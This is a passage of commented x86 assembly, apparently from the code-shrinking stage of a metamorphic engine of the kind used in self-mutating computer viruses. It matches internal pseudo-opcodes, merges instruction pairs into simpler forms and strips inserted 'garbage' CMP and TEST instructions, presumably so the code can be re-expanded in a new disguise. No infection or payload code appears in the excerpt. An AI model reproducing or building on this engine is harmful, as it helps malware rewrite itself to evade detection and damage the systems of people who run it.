jmp @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are
; equal
@@Single_Next17:
;mov al, [edi]
cmp eax, 29h ; SUB Reg,Reg?
jz @@Single_Next_CheckSetTo0 ; Check in the same way as
; XOR Reg,Reg
@@Single_Next18:
;mov al, [edi]
cmp eax, 29h+80h ; SUB Reg8,Reg8?
jz @@Single_Next_CheckSetTo0_8b ; Check if src == dest, to
; see if we put MOV Reg8,0
@@Single_Next19:
;mov al, [edi]
cmp eax, 09h ; OR Reg,Reg?
jnz @@Single_Next20
@@Single_Next_CheckCheckIf0:
mov ecx, 38h ; Put CMP Reg,0 if src == dest
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next20:
;mov al, [edi]
cmp eax, 09h+80h ; OR Reg8,Reg8?
jnz @@Single_Next21
@@Single_Next_CheckCheckIf0_8b:
mov ecx, 38h+80h ; Put CMP Reg8,0 if src == dest
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next21:
;mov al, [edi]
cmp eax, 21h ; AND Reg,Reg?
jz @@Single_Next_CheckCheckIf0
@@Single_Next22:
;mov al, [edi]
cmp eax, 21h+80h ; AND Reg8,Reg8?
jz @@Single_Next_CheckCheckIf0_8b
@@Single_Next23:
;mov al, [edi]
cmp eax, 49h ; TEST Reg,Reg?
jz @@Single_Next_CheckCheckIf0
@@Single_Next24:
;mov al, [edi]
cmp eax, 49h+80h ; TEST Reg8,Reg8?
jz @@Single_Next_CheckCheckIf0_8b
@@Single_Next25:
;mov al, [edi]
cmp eax, 0FCh ; LEA Reg,[Mem]?
jnz @@Single_Next26
mov eax, [edi+2] ; Check second index
and eax, 0FFh
cmp eax, 40h ; If it has a multiplicator, it's not
jae @@Single_Next26 ; interesting
mov eax, [edi+1] ; Now +1 holds the first index (and if
and eax, 0FFh ; there aren't multiplicators, this
cmp eax, 8 ; must be < 8 if there is an index)
jz @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes
mov ecx, [edi+7]
and ecx, 0FFh ; ECX = Destiny register
cmp eax, ecx ; Are they equal?
jz @@Single_Next_LEA_CheckADD ; If so, check ADD
mov eax, [edi+2] ; Get the second index
and eax, 0FFh ; Is there anyone?
cmp eax, 8
jz @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV
cmp eax, ecx ; Is equal to the destiny?
jz @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD
mov ecx, [edi+1] ; Get the first index
and ecx, 0FFh
cmp eax, ecx ; If it's not equal to the second,
jnz @@Single_End ; finish singles conversion
mov eax, 8 ; Set the first index as 8
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
add eax, ecx
mov [edi+1], eax
mov eax, [edi+2]
add eax, 40h ; Set LEA Reg,[2*Reg]
mov [edi+2], eax
jmp @@EndCompressed ; End with compression flag
@@Single_Next_LEA_CheckADDRegReg2:
mov eax, [edi+3] ; Get the immediate
or eax, eax ; If it's 0, set ADD Reg,Reg
jz @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA
jmp @@Single_End
@@Single_Next_LEA_CheckMOV:
mov eax, [edi+2] ; It DOESN'T hold anything more than
and eax, 0FFh ; 8, but just in case
cmp eax, 8
jz @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm
mov ecx, [edi+7] ; Get the destiny
and ecx, 0FFh
cmp eax, ecx ; If destiny == index, set ADD
jz @@Single_Next_LEA_SetADD_2
mov eax, [edi+3] ; Get the Immediate
or eax, eax ; If it isn't 0, end
jnz @@Single_End
@@Single_Next_LEA_SetMOVRegReg_2:
mov eax, [edi+2] ; Set MOV Reg,Reg (from LEA Reg,[Reg])
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
and eax, 0FFh
add eax, ecx
mov [edi+1], eax
mov eax, 41h
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetADD_2:
mov ecx, [edi+1] ; Set ADD Reg,Reg (from
and ecx, 0FFFFFF00h ; LEA Reg,[Reg+Reg2])
and eax, 0FFh
add eax, ecx
mov [edi+1], eax
mov eax, [edi+3]
mov [edi+7], eax
xor eax, eax
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetMOV:
mov ecx, 40h ; Set MOV Reg,Imm (from LEA Reg,[Imm])
mov eax, [edi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
add eax, ebx
mov [edi+1], eax
@@Single_Next_LEA_SetInstructionECX:
mov eax, [edi+3]
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next_LEA_CheckADD:
mov eax, [edi+2] ; Check another possibility for ADD
and eax, 0FFh
cmp eax, 8 ; If Index2 == 8 (not set), set
jz @@Single_Next_LEA_SetADD ; ADD Reg,Imm
mov eax, [edi+3] ; If Index2 != 8 and memory dword
or eax, eax ; addition is != 0, end
jnz @@Single_End
@@Single_Next_LEA_SetADDRegReg:
mov eax, [edi+2] ; Set ADD Reg,Reg
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [edi+1], eax
@@Single_Next_LEA_SetADDRegReg_2:
mov eax, 01h ; Pseudo-opcode of ADD Reg,Reg
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetADD:
mov eax, [edi+3]
mov [edi+7], eax ; Set memory dword addition as the
xor eax, eax ; Imm to add in ADD Reg,Imm
jmp @@Single_SetInstruction
@@Single_Next_LEA_CheckMOVRegReg:
mov eax, [edi+3] ; If the dword addition is 0, set
or eax, eax ; MOV Reg,Reg2
jnz @@Single_End
@@Single_Next_LEA_SetMOVRegReg:
mov eax, 41h ; Pseudo-opcode of MOV Reg,Reg
jmp @@Single_SetInstruction
@@Single_Next26:
cmp eax, 4Fh ; MOV Mem,Mem?
jnz @@Single_Next27
mov esi, [edi+7] ; If src == dest, set NOP
mov eax, [edi+1] ; This could be, for example, a
cmp eax, [esi+1] ; compression of the sequence
jnz @@Single_End ; PUSH [EAX+123] / POP [EAX+123]
mov eax, [edi+3]
cmp eax, [esi+3]
jz @@Single_SetNOP
@@Single_Next27:
cmp eax, 38h ; CMP instruction?
jb @@Single_Next28
cmp eax, 3Ch
ja @@Single_Next28
@@Single_Next27_Common:
mov edx, edi ; Let's get the next instruction. It the
@@Single_Next27_GetNextInstr: ; next instruction is not a conditional
add edx, 10h ; jump, this CMP is a garbage instruction,
mov eax, [edx+0Bh] ; so we NOP it
and eax, 0FFh
or eax, eax
jnz @@Single_SetNOP
mov eax, [edx]
and eax, 0FFh
cmp eax, 0FFh
jz @@Single_Next27_GetNextInstr
cmp eax, 70h
jb @@Single_SetNOP
cmp eax, 7Fh
ja @@Single_SetNOP
jmp @@Single_End
@@Single_Next28:
cmp eax, 38h+80h ; 8 bits CMP instruction?
jb @@Single_Next29
cmp eax, 3Ch+80h
jbe @@Single_Next27_Common
@@Single_Next29:
cmp eax, 48h ; Do the same with TEST. A single test
jb @@Single_Next30 ; (without conditional jump) is garbage
cmp eax, 4Ch ; for sure.
jbe @@Single_Next27_Common
@@Single_Next30:
cmp eax, 48h+80h ; 8 bits TEST instruction?
jb @@Single_Next31
cmp eax, 4Ch+80h
jbe @@Single_Next27_Common
@@Single_Next31:
@@Single_End:
;; Once here we check if it's a 8 bits instruction. If it's the case,
;; we save for later the register it's using (concretely, for register
;; translation). The last one stored here is the one we are using along
;; the engine.
mov eax, [edi] ; Get the instruction
and eax, 0FFh
cmp eax, 80h+00 ; Check if it's a 8 bits opcode
jb @@Check_Double
cmp eax, 80h+4Ch
ja @@Check_Double
and eax, 7
or eax, eax ; If it is, check if it's MOV Reg,Imm,
jz @@GetFrom_RegImm
cmp eax, 1 ; MOV Reg,Reg,
jz @@GetFrom_RegReg
cmp eax, 2 ; MOV Reg,Mem or
jz @@GetFrom_RegMem
cmp eax, 3 ; MOV Mem,Reg, and then we get the
jnz @@Check_Double ; register and save it, having then
@@GetFrom_MemReg: ; the 8 bits register that we are using
@@GetFrom_RegMem: ; along the code. This register must be
@@GetFrom_RegReg: ; treated specially by the register
mov eax, [edi+7] ; translator of the expander, because must
and eax, 0FFh ; be one of the general use registers
jmp @@GetFrom_OK ; (EAX, ECX, EDX and EBX)
@@GetFrom_RegImm:
mov eax, [edi+1]
and eax, 0FFh
@@GetFrom_OK:
mov [ebp+Register8Bits], eax ; Save the register
;;; Pairs of instructions. We try to match known pairs to merge them to the
;;; simple one-instruction form.
@@Check_Double:
mov esi, edi
call IncreaseEIP ; Increase pointer and get the second
cmp edi, [ebp+AddressOfLastInstruction] ; instruction.
jz @@EndNoCompressed
mov eax, [edi+0Bh]
and eax, 0FFh
or eax, eax
jnz @@EndNoCompressed ; We don't join instructions with
; labels on them.
;; Pair to check is at <[esi],[edi]>
mov eax, [esi]
and eax, 0FFh
cmp eax, 68h ; Check pair with PUSH Imm
jnz @@Double_Next00
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h ; PUSH Imm/POP Reg?
jz @@Double_Next_PutMOVRegImm
cmp eax, 59h ; PUSH Imm/POP Mem?
jnz @@EndNoCompressed
@@Double_Next_PutMOVMemImm:
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 44h ; Set MOV Mem,Imm
jmp @@Double_Next_SetInstruction
@@Double_Next_PutMOVRegImm:
mov eax, [edi+1]
mov [esi+1], eax
mov eax, 40h ; Set MOV Reg,Imm
@@Double_Next_SetInstruction:
mov ebx, [esi]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi], eax
@@Double_Next_SetNOP:
mov eax, 0FFh ; Set NOP at second instruction
mov [edi], al
jmp @@EndCompressed
@@Double_Next00:
;mov al, [esi]
cmp eax, 50h ; Check pair beginning with PUSH Reg
jnz @@Double_Next01
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h ; PUSH Reg/POP Reg?
jz @@Double_Next_PushPop
cmp eax, 0FEh ; PUSH Reg/RET?
jz @@Double_Next00_JMPReg
cmp eax, 59h ; PUSH Reg/POP Mem?
jnz @@Double_End
mov eax, [esi+1]
mov ebx, [esi+7]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+7], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 43h ; If PUSH Reg/POP Mem, set MOV Mem,Reg
jmp @@Double_Next_SetInstruction
@@Double_Next_PushPop:
mov eax, [edi+1]
mov [esi+7], eax
mov eax, 41h ; If PUSH Reg/POP Reg, set MOV Reg,Reg
jmp @@Double_Next_SetInstruction
@@Double_Next00_JMPReg:
mov eax, 0EDh ; If PUSH Reg/RET, set JMP Reg
jmp @@Double_Next_SetInstruction
@@Double_Next01:
;mov al, [esi]
cmp eax, 51h ; Check pair beginning with PUSH Mem
jnz @@Double_Next02
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h ; PUSH Mem/POP Reg?
jz @@Double_Next01_PushPop
cmp eax, 59h ; PUSH Mem/POP Mem?
jnz @@Double_End
@@Double_Next01_MOVMemMem:
mov [esi+7], edi
mov [edi+7], esi
mov eax, 4Fh ; If PUSH Mem/POP Mem, MOV Mem,Mem
jmp @@Double_Next_SetInstruction
@@Double_Next01_PushPop:
mov eax, [edi+1]
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+7], eax
mov eax, 42h ; If PUSH Mem/POP Reg, set MOV Reg,Mem
jmp @@Double_Next_SetInstruction
@@Double_Next02:
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next_NoMem
mov eax, [esi+3] ; If bytes from +1 to +6 coincides,
cmp eax, [edi+3] ; it can be a memory operation with
jnz @@Double_Next_NoMem ; the same memory variable. If not,
; just jump to check other things
; From now and while we are checking memory variable using instructions,
; we are sure that they use the same memory variable.
mov eax, [esi]
and eax, 0FFh
cmp eax, 0F6h ; Check if it's APICALL_STORE
jz @@Double_Next02_Check ; If it is, jump (it's just like
; a MOV Mem,Reg)
cmp eax, 43h ; MOV Reg,Mem?
jnz @@Double_Next03
@@Double_Next02_Check:
mov eax, [edi] ; Get the second instruction
and eax, 0FFh
cmp eax, 51h ; PUSH Mem?
jz @@Double_Next02_PushReg
cmp eax, 4Ch ; OP Mem,Imm?
jbe @@Double_Next_OPRegReg
cmp eax, 0EAh ; CALL Mem?
jz @@Double_Next02_CALLMem
cmp eax, 0EBh ; JMP Mem?
jnz @@Double_End
@@Double_Next02_JMPMem:
mov eax, 0EDh ; MOV Mem,Reg + JMP Mem = JMP Reg
@@Double_Next02_XXXMem:
push eax
mov eax, [esi+7]
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+1], eax
pop eax
jmp @@Double_Next_SetInstruction
@@Double_Next02_CALLMem:
mov eax, 0ECh ; MOV Mem,Reg + CALL Mem = CALL Reg
jmp @@Double_Next02_XXXMem
@@Double_Next_OPRegReg:
and eax, 7Fh ; Check operation
cmp eax, 3Bh ; Check for CMP Mem,Reg
jz @@Double_Next02_MergeCheck ; If it is, merge the check
cmp eax, 4Bh ; Check for TEST Mem,Reg
jz @@Double_Next02_MergeCheck ; If it is, merge
cmp eax, 4Ah ; Check for TEST Reg,Mem (in fact, the
jz @@Double_Next02_MergeCheck ; same x86 opcode)
and eax, 7
cmp eax, 2 ; Check for OP Reg,Mem
jnz @@Double_End ; If not, finish
mov eax, [esi+7] ; If so, merge it:
mov [esi+1], eax ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg
mov eax, [edi+7] ; We don't care about the two registers
mov [esi+7], eax ; being equal, because that is going to
; be checked by the scanning of single
; instructions
@@Double_Next02_SetOP:
mov eax, [edi] ; Get the OP
and eax, 0F8h ; Transform it to OP Reg,Reg
add eax, 1
jmp @@Double_Next_SetInstruction
@@Double_Next02_MergeCheck:
mov eax, [edi+7]
mov [esi+1], eax ; Merge the check (if CMP/TEST Reg,Mem)
jmp @@Double_Next02_SetOP
@@Double_Next02_PushReg:
mov eax, [esi+7]
mov [esi+1], eax
mov eax, 50h ; MOV Mem,Reg/PUSH Mem = PUSH Reg
jmp @@Double_Next_SetInstruction
@@Double_Next03:
;mov al, [esi]
cmp eax, 0C3h ; Check pair beginning with MOV Mem8,Reg8
jnz @@Double_Next04
mov eax, [edi]
and eax, 0FFh
cmp eax, 00h+80h ; Check if it's a normal operation
jb @@Double_End ; (pseudo-opcodes 80-CC)
cmp eax, 4Ch+80h
jbe @@Double_Next_OPRegReg
jmp @@Double_End
@@Double_Next04:
cmp eax, 44h ; Check if it begins with MOV Mem,Imm
jnz @@Double_Next05
mov eax, [edi]
and eax, 0FFh
cmp eax, 51h ; PUSH Mem?
jz @@Double_Next04_PushImm ; Set PUSH Imm
cmp eax, 4Ch
ja @@Double_Next05
and eax, 7
cmp eax, 2 ; OP Reg,Mem?
jnz @@Double_Next05 ; If not, check next pair
@@Double_Next_Merge_MOV_OP:
mov eax, [edi+7]
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+1], eax
mov eax, [edi]
and eax, 0F8h ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm
jmp @@Double_Next_SetInstruction
@@Double_Next04_PushImm:
mov eax, 68h ; MOV Mem,Imm + PUSH Mem = PUSH Imm
jmp @@Double_Next_SetInstruction
@@Double_Next05:
mov eax, [esi]
and eax, 0FFh
cmp eax, 44h+80h ; Same as above, but 8 bits operations
jnz @@Double_Next06
mov eax, [edi]
and eax, 0FFh
cmp eax, 00h+80h
jb @@Double_Next06
cmp eax, 4Ch+80h
ja @@Double_Next06
and eax, 7
cmp eax, 2
jnz @@Double_Next06
jmp @@Double_Next_Merge_MOV_OP
@@Double_Next06:
mov eax, [esi]
and eax, 0FFh
cmp eax, 59h ; POP Mem?
jnz @@Double_Next_NoMem
mov eax, [edi]
and eax, 0FFh
cmp eax, 42h ; POP Mem + MOV Reg,Mem?
jz @@Double_Next06_POPReg
cmp eax, 4Fh ; POP Mem + MOV Mem,Mem?
jz @@Double_Next06_POPMem
cmp eax, 51h ; POP Mem + PUSH Mem?
jz @@Double_Next_SetDoubleNOP
cmp eax, 0EBh ; POP Mem + JMP Mem?
jnz @@Double_Next_NoMem
mov eax, 0FEh ; POP Mem + JMP Mem = RET
jmp @@Double_Next_SetInstruction
@@Double_Next06_POPReg:
mov eax, [edi+7]
mov [esi+1], eax
mov eax, 58h ; POP Mem + MOV Reg,Mem = POP Reg
jmp @@Double_Next_SetInstruction
@@Double_Next06_POPMem:
mov ebx, [edi+7]
mov eax, [ebx+1]
mov [esi+1], eax
mov eax, [ebx+3]
mov [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2
jmp @@Double_Next_SetNOP
@@Double_Next_SetDoubleNOP:
mov eax, 0FFh ; POP Mem + PUSH Mem = NOP
jmp @@Double_Next_SetInstruction
@@Double_Next_NoMem:
mov eax, [esi]
and eax, 0FFh
cmp eax, 40h ; MOV Reg,Imm?
jnz @@Double_Next07
mov eax, [edi]
and eax, 0FFh
cmp eax, 42h+80h ; MOV Reg,Imm + MOV Reg8,Mem8?
jz @@Double_Next06_MaybeMOVZX
cmp eax, 1 ; MOV Reg,Imm + ADD Reg,Reg?
jnz @@Double_Next07
mov eax, [esi+1] ; MOV Reg,Imm + ADD Reg,Reg2 =
and eax, 0FFh ; = LEA Reg,[Reg2+Imm]
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next07
mov eax, [esi+7]
mov [esi+3], eax
mov eax, [esi+1]
mov [esi+7], eax
mov eax, [edi+1]
and eax, 0FFh
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
add eax, ebx
mov [esi+1], eax
@@Double_Next06_SetLEA:
mov eax, [esi+2]
and eax, 0FFFFFF00h
add eax, 8
mov [esi+2], eax
mov eax, 0FCh
jmp @@Double_Next_SetInstruction
@@Double_Next06_MaybeMOVZX:
mov eax, [esi+7]
or eax, eax
jnz @@Double_Next07
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next07
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jz @@Double_Next07
mov ebx, [edi+2]
and ebx, 0Fh
cmp eax, ebx
jz @@Double_Next07
mov [esi+7], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 0F8h ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8
jmp @@Double_Next_SetInstruction
@@Double_Next07:
mov eax, [esi]
and eax, 0FFh
cmp eax, 41h ; MOV Reg,Reg?
jnz @@Double_Next08
mov eax, [edi]
and eax, 0FFh
or eax, eax ; MOV Reg,Reg + ADD Reg,Imm?
jz @@Double_Next07_LEA01
cmp eax, 1 ; MOV Reg,Reg + ADD Reg,Reg?
jnz @@Double_Next08
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next08
mov eax, [edi+1]
mov [esi+2], eax
xor eax, eax
mov [esi+3], eax ; MOV Reg,Reg2 + ADD Reg,Reg3 =
mov eax, 0FCh ; = LEA Reg,[Reg2+Reg3]
jmp @@Double_Next_SetInstruction
@@Double_Next07_LEA01:
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next08
mov eax, [edi+7] ; MOV Reg,Reg2 + ADD Reg,Imm =
mov [esi+3], eax ; = LEA Reg,[Reg2+Imm]
jmp @@Double_Next06_SetLEA
@@Double_Next08:
mov eax, [esi]
and eax, 0FFh
or eax, eax ; ADD Reg,Imm?
jnz @@Double_Next09
mov eax, [edi]
and eax, 0FFh
cmp eax, 01h ; ADD Reg,Imm + ADD Reg,Reg2?
jnz @@Double_Next09
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next09
mov eax, [edi+1]
mov [esi+2], eax
mov eax, [esi+7]
mov [esi+3], eax
mov eax, [esi+1]
mov [esi+7], eax
mov eax, 0FCh ; Merge to LEA
jmp @@Double_Next_SetInstruction
@@Double_Next09:
mov eax, [esi]
and eax, 0FFh
cmp eax, 01h ; ADD Reg,Reg?
jnz @@Double_Next10
mov eax, [edi]
and eax, 0FFh
or eax, eax ; ADD Reg,Imm?
jnz @@Double_Next10
mov eax, [esi+7]
cmp al, [edi+1]
jnz @@Double_Next10
mov eax, [esi+1]
mov [esi+2], al
mov eax, [esi+7]
mov [esi+1], al
mov eax, [edi+7]
mov [esi+3], eax
mov eax, 0FCh ; Merge to LEA
jmp @@Double_Next_SetInstruction
@@Double_Next10:
xor eax, eax
mov al, [esi]
cmp eax, 4Ch ; Generic OP?
ja @@Double_Next11
mov al, [edi]
cmp eax, 4Ch ; Generic OP + Generic OP?
ja @@Double_Next11
mov eax, [esi]
and eax, 7
cmp eax, 4 ; OP Mem,Imm + Generic OP?
jz @@Double_Next10_OPMemImm
or eax, eax ; OP Reg,Imm + Generic OP?
jnz @@Double_Next11
@@Double_Next10_OPRegImm:
mov eax, [edi]
and eax, 7
or eax, eax ; OP Reg,Imm + OP Reg,Imm?
jnz @@Double_Next11
mov eax, [esi+1]
cmp al, [edi+1] ; 1st Reg == 2nd Reg?
jnz @@Double_Next11
xor ebx, ebx
@@Double_Next_CalculateOperation:
push ebx
mov ecx, [esi+7]
mov edx, [edi+7]
@@Double_Next_CalculateOperation_2:
mov eax, [edi]
and eax, 78h ; Get 2nd OP
mov ebx, eax
mov eax, [esi]
and eax, 78h ; Get 1st OP
call CalculateOperation ; Merge the operations
pop ebx
cmp eax, 0FEh ; Can be merged?
jz @@Double_End ; If not, check triplet
cmp eax, 0FFh ; OP Reg,Imm + MOV Reg,Imm?
jz @@Double_Next_SetNOPAt1st ; Then, eliminate first
mov [esi+7], ecx
add eax, ebx ; Set merged operation
jmp @@Double_Next_SetInstruction
@@Double_Next_SetNOPAt1st:
mov eax, 0FFh ; Set NOP at first instruction
mov [esi], al
jmp @@EndCompressed ; Return with success
@@Double_Next10_OPMemImm:
mov eax, [edi]
and eax, 7
cmp eax, 4 ; OP Mem,Imm + OP Mem,Imm?
jnz @@Double_Next11
mov eax, [esi+1]
cmp eax, [edi+1] ; Are mem operands the same?
jnz @@Double_Next11
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next11
mov ebx, 4 ; If so, jump to try merging OPs
jmp @@Double_Next_CalculateOperation
@@Double_Next11:
xor eax, eax
mov al, [esi] ; Do the same as above, but with
cmp eax, 00h+80h ; 8 bits operations
jb @@Double_Next12
cmp eax, 4Ch+80h
ja @@Double_Next12
mov al, [edi]
cmp eax, 00h+80h
jb @@Double_Next12
cmp eax, 4Ch+80h
ja @@Double_Next12
mov eax, [esi]
and eax, 7
cmp eax, 4
jz @@Double_Next11_OPMemImm_8b
or eax, eax
jnz @@Double_Next12
@@Double_Next11_OPRegImm_8b:
mov eax, [edi]
and eax, 7
or eax, eax
jnz @@Double_Next12
mov ebx, 80h
@@Double_Next11_CalculateOperation_8b:
push ebx
xor eax, eax
mov al, [esi+7]
mov ecx, eax
mov al, [edi+7]
mov edx, eax
jmp @@Double_Next_CalculateOperation_2
@@Double_Next11_OPMemImm_8b:
mov eax, [edi]
and eax, 7
cmp eax, 4
jnz @@Double_Next12
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next12
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next12
mov ebx, 84h
jmp @@Double_Next11_CalculateOperation_8b
@@Double_Next12:
xor eax, eax
mov al, [esi]
cmp eax, 0FCh ; LEA?
jnz @@Double_Next13
mov al, [edi]
cmp eax, 01h ; LEA + ADD Reg,Reg?
jz @@Double_Next12_MergeLEAADDReg
or eax, eax ; LEA + ADD Reg,Imm?
jnz @@Double_Next13
@@Double_Next12_MergeLEAADD:
mov eax, [esi+7] ; Check if destiny in LEA is the same
cmp al, [edi+1] ; as destiny in ADD
jnz @@Double_Next13
mov eax, [edi+7] ; If so, add the Imm of the ADD to the
add [esi+3], eax ; dword addition in the LEA and set
jmp @@Double_Next_SetNOP ; NOP at first instruction
@@Double_Next12_MergeLEAADDReg:
mov eax, [esi+7]
cmp al, [edi+7] ; Check if destinies are the same
jnz @@Double_Next13
mov eax, 8
cmp al, [esi+1] ; Look for a free space to insert the
jz @@Double_Next12_SetFirstReg ; register addition in the
cmp al, [esi+2] ; LEA
jz @@Double_Next12_SetSecondReg
mov eax, [edi+1] ; If the register is already inserted,
cmp al, [esi+2] ; set a *2 in the multiplicator
jz @@Double_Next12_AddScalar
cmp al, [esi+1]
jnz @@Double_Next13
mov eax, [esi+2]
cmp al, 40h ; If multiplicator is already *2 or
jae @@Double_Next13 ; greater, don't shrink
push eax ; Exchange registers, to set the one
mov eax, [esi+1] ; repeated in the second slot of the
add eax, 40h ; indexes.
mov [esi+2], al ; Set *2
pop eax
mov [esi+1], al
jmp @@Double_Next_SetNOP ; Eliminate first instruction
@@Double_Next12_AddScalar:
mov eax, [esi+2] ; Set *2 to the second index
add eax, 40h
mov [esi+2], al
jmp @@Double_Next_SetNOP
@@Double_Next12_SetFirstReg:
mov eax, [edi+1] ; Set a new index register
mov [esi+1], al
jmp @@Double_Next_SetNOP
@@Double_Next12_SetSecondReg:
mov eax, [edi+1] ; Set a new second index register
mov [esi+2], al
jmp @@Double_Next_SetNOP
@@Double_Next13:
xor eax, eax
mov al, [esi]
cmp eax, 4Fh ; MOV Mem,Mem?
jnz @@Double_Next14
mov al, [edi]
cmp eax, 4Fh ; MOV Mem,Mem2 + MOV Mem2,Mem3?
jz @@Double_Next13_MergeMOVs ; Then, merge them
cmp eax, 4Ch
ja @@Double_Next13_NotOPRegMem
@@Double_Next13_OPRegMem_2:
and eax, 7
cmp eax, 2 ; MOV Mem,Mem2 + OP Reg,Mem?
jz @@Double_Next13_OPRegMem
mov al, [edi]
jmp @@Double_Next13_NotOPRegMem2
@@Double_Next13_NotOPRegMem:
cmp eax, 00h+80h ; Same with 8 bits?
jb @@Double_Next13_NotOPRegMem2
cmp eax, 4Ch+80h
jbe @@Double_Next13_OPRegMem_2
@@Double_Next13_NotOPRegMem2:
cmp eax, 43h ; Merge MOVs
jz @@Double_Next13_MOVMemReg
cmp eax, 0F6h ; APICALL_STORE = MOV Mem,EAX
jz @@Double_Next13_MOVMemReg
cmp eax, 44h ; MOV Mem,Mem2 + MOV Mem2,Imm?
jz @@Double_Next13_MOVMemImm
cmp eax, 0EAh ; MOV Mem,Mem2 + CALL Mem?
jz @@Double_Next13_CALLMem
cmp eax, 0EBh ; MOV Mem,Mem2 + JMP Mem?
jnz @@Double_Next14
@@Double_Next13_JMPMem:
@@Double_Next13_CALLMem:
@@Double_Next13_OPRegMem:
mov ebx, [esi+7] ; Merge Mem operands
mov eax, [ebx+1]
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Double_Next14
mov eax, [esi+1]
mov [edi+1], eax
mov eax, [esi+3]
mov [edi+3], eax
jmp @@Double_Next_SetNOPAt1st
@@Double_Next13_MergeMOVs:
mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 =
mov eax, [ebx+1] ; = MOV Mem,Mem3
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jnz @@Double_Next14
mov eax, [edi+7]
mov [esi+7], eax
mov [eax+7], esi
jmp @@Double_Next_SetNOP
@@Double_Next13_MOVMemReg:
@@Double_Next13_MOVMemImm:
mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm =
mov eax, [ebx+1] ; = MOV Mem,Reg/Imm
cmp eax, [edi+1]
jnz @@Double_Next14
mov eax, [ebx+3]
cmp eax, [edi+3]
jz @@Double_Next_SetNOPAt1st
@@Double_Next14:
xor eax, eax
mov al, [esi]
cmp eax, 70h ; Jcc?
jb @@Double_Next15
cmp eax, 7Fh
ja @@Double_Next15
mov al, [edi]
cmp eax, 0E9h ; Jcc + JMP?
jz @@Double_Next14_CheckJMP
cmp eax, 70h
jb @@Double_Next15
cmp eax, 7Fh ; Jcc + Jcc?
ja @@Double_Next15
mov eax, [edi+1] ; Check if they point to the next
cmp eax, [esi+1] ; label
jnz @@Double_Next15
mov eax, [esi]
and eax, 0Fh
mov ebx, eax
mov eax, [edi]
and eax, 0Fh
; EAX = Flag test 1
; EBX = Flag test 2
call GetRealCheck ; Merge the flag checking
cmp eax, 0FFh
jz @@Double_End
add eax, 70h ; Add 70 to the result
cmp eax, 0E9h ; If Jcc + Jcc == JMP, set it, and jump
jz @@Double_Next32_JMP ; to eliminate the code until the
; next label
jmp @@Double_Next_SetInstruction
@@Double_Next14_CheckJMP:
mov eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123
cmp eax, [esi+1]
jz @@Double_Next_SetNOPAt1st
jmp @@Double_End
@@Double_Next15:
; mov edx, 40h
; call Check_OP_MOV
; cmp eax, 0FFh ; This makes many problems!
; jz @@Double_Next_SetNOPAt1st ;
; Disabled.
@@Double_Next16:
; mov edx, 0C0h
; call Check_OP_MOV
; cmp eax, 0FFh
; jz @@Double_Next_SetNOPAt1st
@@Double_Next17:
xor eax, eax
mov al, [esi]
cmp eax, 0E0h ; NOT Reg?
jnz @@Double_Next18
mov ebx, 0E4h ; NOT Reg + NEG Reg?
xor ecx, ecx
mov edx, 1 ; Set ADD Reg,1
@@Double_Next_Check_NOT_OP:
xor eax, eax
mov al, [edi]
cmp eax, ebx ; 0E4h
jz @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1
